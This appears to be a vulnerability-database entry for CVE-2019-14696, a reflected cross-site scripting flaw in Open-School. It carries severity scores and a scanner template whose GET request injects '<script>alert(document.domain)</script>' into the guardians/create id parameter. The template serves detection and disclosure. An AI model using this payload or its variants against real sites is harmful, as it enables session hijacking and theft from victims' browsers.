4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.004 Low
EPSS
Percentile
74.9%
Open-School 3.0, and Community Edition 2.3, allows cross-site scripting via the osv/index.php?r=students/guardians/create id parameter.
id: CVE-2019-14696
info:
name: Open-School 3.0/Community Edition 2.3 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: Open-School 3.0, and Community Edition 2.3, allows cross-site scripting via the osv/index.php?r=students/guardians/create id parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
reference:
- https://open-school.org
- https://pastebin.com/AgxqdbAQ
- http://packetstormsecurity.com/files/153984/Open-School-3.0-Community-Edition-2.3-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-14696
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-14696
cwe-id: CWE-79
epss-score: 0.00618
epss-percentile: 0.78754
cpe: cpe:2.3:a:open-school:open-school:2.3:*:*:*:community:*:*:*
metadata:
max-request: 1
vendor: open-school
product: open-school
tags: cve,cve2019,xss,open-school,packetstorm
http:
- method: GET
path:
- '{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402206f8c5af4ccb804ce6eba9057c9d69d997e1ed37ba31cab8162c1b0e3e447c7cc022039fd15233f3f3dea200778731385446974efe8c83efaf5a3113c8b9273a20094:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.004 Low
EPSS
Percentile
74.9%